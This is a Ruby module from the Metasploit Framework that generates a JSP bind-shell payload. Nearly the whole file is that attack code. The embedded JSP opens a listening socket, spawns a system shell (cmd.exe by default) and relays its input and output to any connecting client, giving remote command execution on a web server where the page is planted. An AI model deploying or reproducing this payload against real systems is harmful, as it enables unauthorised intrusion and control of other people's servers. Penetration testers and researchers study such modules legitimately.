109 lines
2.8 KiB
Ruby
109 lines
2.8 KiB
Ruby
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##
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# $Id$
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##
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##
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# Thin file in part of the Metasploit Framework and may be subject to
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# redintribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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module Metasploit3
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Java JSP Command Shell, Bind TCP Inline',
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'Version' => '$Revision$',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' => [ 'sf' ],
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'License' => MSF_LICENSE,
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'Platform' => [ 'win', 'osx', 'linux', 'unix', 'solaris' ],
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'Arch' => ARCH_JAVA,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class )
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end
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def generate
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# Modified from: http://www.security.org.sg/code/jspreverse.html
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jsp = %q{
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<%@page import="java.lang.*"%>
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<%@page import="java.util.*"%>
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<%@page import="java.io.*"%>
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<%@page import="java.net.*"%>
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<%
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class StreamConnector extends Thread
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{
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InputStream is;
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OutputStream os;
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StreamConnector( InputStream is, OutputStream os )
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{
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this.is = is;
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this.os = os;
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}
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public void run()
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{
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BufferedReader in = null;
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BufferedWriter out = null;
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try
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{
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in = new BufferedReader( new InputStreamReader( this.is ) );
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out = new BufferedWriter( new OutputStreamWriter( this.os ) );
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char buffer[] = new char[8192];
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int length;
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while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
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{
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out.write( buffer, 0, length );
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out.flush();
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}
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} catch( Exception e ){}
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try
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{
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if( in != null )
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in.close();
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if( out != null )
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out.close();
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} catch( Exception e ){}
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}
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}
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try
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{
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ServerSocket server_socket = new ServerSocket( LPORT );
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Socket client_socket = server_socket.accept();
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server_socket.close();
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Process process = Runtime.getRuntime().exec( "SHELL" );
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( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
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( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
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} catch( Exception e ) {}
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%>
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}
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jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
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jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
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return super + jsp
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end
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end
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